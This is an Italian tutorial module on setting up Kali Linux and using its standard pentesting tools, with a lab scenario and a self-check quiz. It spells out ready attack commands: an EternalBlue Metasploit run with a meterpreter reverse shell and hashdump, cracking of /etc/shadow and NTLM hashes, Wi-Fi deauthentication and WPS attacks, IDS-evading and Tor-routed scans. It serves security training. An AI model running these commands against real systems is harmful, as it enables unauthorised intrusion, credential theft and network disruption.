Kali Linux: setup, configurazione e tool fondamentali
Configurare Kali come piattaforma professionale: nmap, Metasploit, hashcat, Wireshark e metodologia.
Livello: Intermedio → Avanzato
Obiettivo: Padroneggiare l'ambiente Kali Linux come piattaforma professionale per pentesting e analisi di sicurezza.
1. Cos'è Kali Linux
Kali Linux è una distribuzione Debian-based mantenuta da Offensive Security, progettata specificamente per penetration testing, analisi forense e ricerca sulla sicurezza. Non è una distro per uso quotidiano: ogni tool è preinstallato con configurazioni orientate al testing offensivo.
Caratteristiche chiave:
- Oltre 600 tool preinstallati
- Kernel personalizzato con patch per wireless injection
- Live boot, installazione su disco, VM, WSL2, container Docker
- Rolling release (aggiornamento continuo)
- Modalità Forensics (nessun mount automatico dei dischi)
2. Installazione e Configurazione
2.1 Opzioni di deploy
| Modalità | Uso consigliato |
|---|---|
| VM (VirtualBox/VMware) | Studio, laboratorio isolato |
| Bare metal | Pentest fisici, massime prestazioni |
| Live USB persistente | Portabilità, nessuna installazione |
| Docker | Tool specifici, pipeline CI/CD |
| WSL2 (Windows) | Integrazione con Windows, uso quotidiano |
| Raspberry Pi | Testing portatile, red team fisico |
2.2 Setup post-installazione essenziale
# Aggiorna tutto il sistema
sudo apt update && sudo apt full-upgrade -y
# Installa tool aggiuntivi utili
sudo apt install -y git curl wget net-tools dnsutils \
python3-pip golang ruby-dev build-essential \
libpcap-dev libssl-dev
# Abilita SSH (disabilitato di default per sicurezza)
sudo systemctl enable ssh --now
# Cambia la password di root (se non già fatto)
sudo passwd root
# Crea utente non-root per uso quotidiano
sudo adduser pentest
sudo usermod -aG sudo pentest
2.3 Configurazione networking per lab
# Visualizza interfacce di rete
ip a
ip link show
# Configura IP statico (esempio: eth0)
sudo nano /etc/network/interfaces
# Aggiungi:
# auto eth0
# iface eth0 inet static
# address 192.168.1.100
# netmask 255.255.255.0
# gateway 192.168.1.1
# dns-nameservers 8.8.8.8
# Abilita IP forwarding (per routing, MITM)
sudo sysctl -w net.ipv4.ip_forward=1
echo "net.ipv4.ip_forward=1" | sudo tee -a /etc/sysctl.conf
2.4 Modalità Forensics
Quando si fa boot in modalità Forensics, Kali:
- Non monta automaticamente nessun disco
- Non attiva la swap
- Non modifica nulla sul sistema target
# Verificare che nessun disco sia montato automaticamente
mount | grep -v "tmpfs\|proc\|sys\|dev"
# Montare manualmente in sola lettura (per preservare l'integrità)
sudo mount -o ro,noatime /dev/sdb1 /mnt/evidence
3. Struttura delle cartelle tool
Kali organizza i tool per categoria in /usr/bin/, /usr/share/, e /opt/:
/usr/share/wordlists/ → wordlist (rockyou.txt, etc.)
/usr/share/metasploit-framework/ → Metasploit
/usr/share/nmap/scripts/ → NSE scripts
/usr/share/exploitdb/ → Exploit Database locale
/opt/ → Tool installati manualmente
4. Tool Fondamentali — Panoramica
4.1 Ricognizione e Scanning
nmap — Network Mapper
Il tool più importante per la fase di ricognizione.
# Scan base — top 1000 porte TCP
nmap 192.168.1.0/24
# Scan aggressivo: OS detection, version, script, traceroute
nmap -A -T4 192.168.1.10
# Scan di tutte le 65535 porte
nmap -p- -T4 192.168.1.10
# Solo UDP (lento ma importante)
nmap -sU -T4 --top-ports 100 192.168.1.10
# Stealth SYN scan (non completa l'handshake)
sudo nmap -sS 192.168.1.10
# Script NSE per vulnerabilità specifiche
nmap --script vuln 192.168.1.10
nmap --script smb-vuln-ms17-010 192.168.1.10
# Output su file
nmap -oN output.txt -oX output.xml 192.168.1.10
# Scan con evasione IDS
nmap -f -D RND:10 --data-length 25 192.168.1.10
Interpretare i risultati:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9
80/tcp filtered http (pacchetti filtrati, probabile firewall)
443/tcp closed https (porta raggiungibile ma chiusa)
masscan — Scanning ultrarapido
# Scan velocissimo su range grande
sudo masscan -p1-65535 192.168.1.0/24 --rate=10000 -oX masscan_out.xml
# Combinare con nmap per dettagli
sudo masscan -p1-65535 10.0.0.0/8 --rate=50000 | awk '{print $4}' | \
nmap -sV -iL - -oN dettagli.txt
gobuster / dirb / feroxbuster — Directory busting
# Gobuster su directory web
gobuster dir -u http://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
# Gobuster su DNS (sottodomini)
gobuster dns -d target.com -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt
# Feroxbuster (ricorsivo, più veloce)
feroxbuster -u http://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --depth 3
4.2 Exploitation
Metasploit Framework
# Avviare msfconsole
msfconsole
# Cercare un exploit
msf6 > search type:exploit name:eternalblue
msf6 > search cve:2021-44228 # Log4Shell
# Usare un modulo
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > show options
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.50
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.100
msf6 exploit(ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > run
# Dentro Meterpreter
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getsystem # privilege escalation
meterpreter > hashdump # dump degli hash NTLM
meterpreter > shell # shell di sistema
meterpreter > upload /path/file C:\\Windows\\Temp\\file.exe
meterpreter > download C:\\secret.txt /tmp/
meterpreter > run post/multi/recon/local_exploit_suggester
searchsploit — Ricerca exploit locale (ExploitDB)
# Cercare exploit per servizio/versione
searchsploit apache 2.4.49
searchsploit --id openssh 8.2 # mostra solo gli EDB-ID
# Copiare l'exploit nella directory corrente
searchsploit -m 50383
# Aggiornare il database
sudo searchsploit -u
4.3 Password Cracking
hashcat
# Identificare il tipo di hash
hashid '$2y$10$...' # bcrypt
hashcat --identify hash.txt # auto-detect
# Cracking con wordlist
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt # MD5
hashcat -m 1000 ntlm.txt rockyou.txt # NTLM
hashcat -m 1800 sha512.txt rockyou.txt # sha512crypt
hashcat -m 3200 bcrypt.txt rockyou.txt # bcrypt
# Attack con regole (più efficace della wordlist semplice)
hashcat -m 0 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# Brute force puro (lento ma completo)
hashcat -m 0 hash.txt -a 3 ?u?l?l?l?d?d?d?d # pattern: Aaaa1234
john (John the Ripper)
# Crack automatico
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Formato specifico
john --format=bcrypt bcrypt_hashes.txt --wordlist=rockyou.txt
# Shadow file Linux
sudo unshadow /etc/passwd /etc/shadow > combined.txt
john combined.txt --wordlist=rockyou.txt
# Mostrare password trovate
john --show hashes.txt
4.4 Wireless (Wi-Fi Hacking)
# Verificare che la scheda supporti monitor mode
iw list | grep "Supported interface modes" -A 10
# Attivare monitor mode
sudo airmon-ng start wlan0
# → crea wlan0mon
# Scannerizzare reti
sudo airodump-ng wlan0mon
# Catturare handshake WPA2
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
# In un altro terminale: deauth per forzare reconnessione
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon
# Crack del handshake
aircrack-ng capture-01.cap -w /usr/share/wordlists/rockyou.txt
# WPS attack
sudo wash -i wlan0mon # trovare reti con WPS
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv
4.5 Analisi del traffico
Wireshark
Tool GUI per cattura e analisi pacchetti.
Filtri essenziali:
http → tutto il traffico HTTP
http.request.method == "POST" → solo POST
ip.addr == 192.168.1.10 → traffic da/verso IP
tcp.port == 443 → tutto su porta 443
!(arp || dns || icmp) → filtra rumore di fondo
http contains "password" → cerca "password" nel payload
tcp.flags.syn == 1 && tcp.flags.ack == 0 → solo SYN (scan)
tcpdump
# Cattura base
sudo tcpdump -i eth0
# Cattura su file
sudo tcpdump -i eth0 -w capture.pcap
# Filtri
sudo tcpdump -i eth0 host 192.168.1.10
sudo tcpdump -i eth0 port 80
sudo tcpdump -i eth0 'tcp[tcpflags] & tcp-syn != 0' # solo SYN
# Leggere un file
tcpdump -r capture.pcap -n
5. Gestione delle Wordlist
# Wordlist principali su Kali
ls /usr/share/wordlists/
# rockyou.txt.gz → decomprimi con: gzip -d rockyou.txt.gz
# SecLists (raccolta vastissima)
sudo apt install seclists
ls /usr/share/seclists/
# Creare wordlist personalizzata con crunch
crunch 8 12 abcdefghijklmnopqrstuvwxyz0123456789 -o custom.txt
# CeWL — wordlist da sito web
cewl http://target.com -d 3 -m 6 -w cewl_output.txt
# -d 3 = depth 3, -m 6 = min 6 caratteri
# CUPP — wordlist da profilo persona (ingegneria sociale)
pip3 install cupp
cupp -i # interattivo, chiede dati della vittima
6. VPN e Anonimizzazione nel lab
# ProxyChains — instrada tool attraverso proxy
sudo nano /etc/proxychains4.conf
# Aggiungere: socks5 127.0.0.1 1080
proxychains4 nmap -sT -Pn target.com # nota: -sT (TCP connect, no SYN)
# Tor integration
sudo apt install tor
sudo service tor start
proxychains4 firefox # naviga via Tor
7. Lab pratico — Scenario completo
Obiettivo: Ricognizione completa di un target in rete locale
# Step 1: Scoperta host nella rete
sudo nmap -sn 192.168.1.0/24 -oG ping_sweep.txt
grep "Up" ping_sweep.txt | awk '{print $2}' > live_hosts.txt
# Step 2: Scan dettagliato degli host attivi
nmap -iL live_hosts.txt -A -T4 -p- -oN full_scan.txt
# Step 3: Analisi dei risultati — cercare servizi vulnerabili
grep -E "open|filtered" full_scan.txt | grep -v "closed"
# Step 4: Enumerazione SMB (Windows)
nmap --script smb-enum-shares,smb-enum-users 192.168.1.50
enum4linux -a 192.168.1.50
# Step 5: Enumerazione web
gobuster dir -u http://192.168.1.50 -w /usr/share/wordlists/dirb/common.txt
nikto -h http://192.168.1.50
# Step 6: Verifica vulnerabilità note
nmap --script vuln 192.168.1.50 -oN vuln_scan.txt
8. Risorse per approfondire
| Risorsa | Link | Tipo |
|---|---|---|
| Kali Documentation | https://www.kali.org/docs/ | Ufficiale |
| Offensive Security Training | https://www.offensive-security.com/ | Certificazioni |
| TryHackMe | https://tryhackme.com | Lab guidati |
| HackTheBox | https://www.hackthebox.com | CTF/Lab |
| VulnHub | https://www.vulnhub.com | VM vulnerabili |
| PayloadsAllTheThings | https://github.com/swisskyrepo/PayloadsAllTheThings | Reference |
Quiz di autoverifica
- Qual è la differenza tra
nmap -sSenmap -sT? Quando usare uno o l'altro? - Come si attiva la modalità monitor su una scheda wireless e perché è necessaria?
- Cosa fa esattamente il comando
sudo unshadow /etc/passwd /etc/shadow? - Perché in modalità Forensics Kali non monta automaticamente i dischi?
- Come puoi verificare se un host ha EternalBlue (MS17-010) senza lanciare l'exploit?
Prossimo modulo: 02 — Reti & Protocolli Avanzati
Continua a leggere
Reti e protocolli avanzati
TCP/IP in profondità, MITM, DNS, HTTP, evasione di firewall e IDS.
Vai al capitolo